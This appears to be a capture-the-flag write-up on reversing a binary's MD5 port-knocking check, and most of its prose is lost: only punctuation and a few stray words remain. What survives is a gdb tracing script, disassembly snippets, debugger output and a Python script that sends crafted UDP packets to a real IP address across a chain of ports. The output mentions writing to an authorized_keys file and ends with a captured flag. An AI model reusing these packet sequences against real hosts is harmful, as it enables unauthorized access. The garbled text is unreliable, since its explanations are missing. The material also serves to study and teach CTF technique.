import gdb with open("flow.log", "w") as fw: while 1: s = gdb.execute("info reg rip", to_string=True) s = s[s.find("0x"):] gdb.execute("ni", to_string=True) address = s.split("\t")[0].strip() fw.write(address + "\r\n") address = int(address, 16) if address == 0x827326: break
flow.log . , , .
«
disasm.log » objdmp «
: » .
F_NAME = "disasm.log" F_FLOW = "flow.log" def prepare_code_flow(f_path): with open(f_path, "rb") as fr: data = fr.readlines() data = filter(lambda x: x, data) start_address = long(data[0].split(":")[0], 16) end_address = long(data[-1].split(":")[0], 16) res = [""] * (end_address - start_address + 1) for _d in data: _d = _d.split(":") res[long(_d[0].strip(), 16) - start_address] = "".join(_d[1:]).strip() return start_address, res def parse_instruction(code): mnem = code[:7].strip() ops = code[7:].split(",") return [mnem] + ops def process_instruction(code): parse_data = parse_instruction(code) if parse_data[1] in ["rax", "eax", "al"]: return True return False if __name__ == '__main__':
«» , RAX. Hasil:
0x67c27c mov DWORD PTR [rbp-0x14], 0x0
. - ( «
flow.log »):
95b6ad: jmp 73d0d1 <MD5_Final@@Base+0xb9e1d> 95b6b2: cmp DWORD PTR [rbp-0x2d4],0x133337 95b6bc: jne 67c270 <MD5_Update@@Base+0x1b79f3>
0x95b6b2 – 0x133337. , , [rbp-0x2d4]. «testtest»:
# echo -n "testtest" > md5.bin # truncate -s 512 md5.bin # md5sum md5.bin e9b9de230bdc85f3e929b0d2495d0323 md5.bin # echo -n "testtest" > /dev/udp/127.0.0.1/5432 (gdb) b *0x95b6b2 Breakpoint 6 at 0x95b6b2 (gdb) c Continuing. Verifying 74657374 00deb9e9 Breakpoint 6, 0x000000000095b6b2 in MD5_Final () (gdb) x/20bx $rbp-0x2d4 0x7fffffffdd7c: 0xe9 0xb9 0xde 0x00 0xe9 0xb9 0xde 0x23 0x7fffffffdd84: 0x0b 0xdc 0x85 0xf3 0xe9 0x29 0xb0 0xd2 0x7fffffffdd8c: 0x49 0x5d 0x03 0x23
3 MD5-. MD5- 3 «\x37\x33\x13».
MD5 . . :
New salt 508bd11b Next port 14235 Binding 14235 Waiting for data...3 14235 0
Netstat , . ps (). , .
5432, 14235. . . , , MD5 . , . MD5, 14235. , MD5. , .
Hasil Binding 22 Waiting for data...Verifying 1BFFFFFFD1FFFFFF8B50 00133337 New salt 508bd11b Next port 14235 Binding 14235 Waiting for data...Received packet from 127.0.0.1:43614 Data: 3 14235 27 Next port 23038 Binding 23038 Waiting for data...4
. , …
, (31841) . gdb , «/home/task/.ssh/authorized_keys».
, . , ( , ).
RSA .
SSH, .
MD5-. , ( ). , 4 ( MD5) int , ( ).
, RSA, . import socket import time import SocketServer import select d = ['\x1b\xd1\x8bP\x00\x00\x00\x00', '\x16\xbc\xf9 \x00\x00\x00\x00', '"\xa5I\x90\x00\x00\x00\x00\x00\x00'] s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, socket.IPPROTO_UDP) print "Send 1" s.sendto(d[0], ("95.216.185.52", 5432)) time.sleep(0.2) print "Send 2" s.sendto(d[1], ("95.216.185.52", 5432)) time.sleep(0.2) print "Send 3" s.sendto(d[2], ("95.216.185.52", 5432)) time.sleep(0.2) print "Send 4" s.sendto("\x00", ("95.216.185.52", 41357)) time.sleep(0.2) print "Send 5" s.sendto("\x04", ("95.216.185.52", 42381))
:
flag{a1ec3c43cae4250faa302c412c7cc524}«OK» .
, , MD5-. , , .
, , 40 , . Terima kasih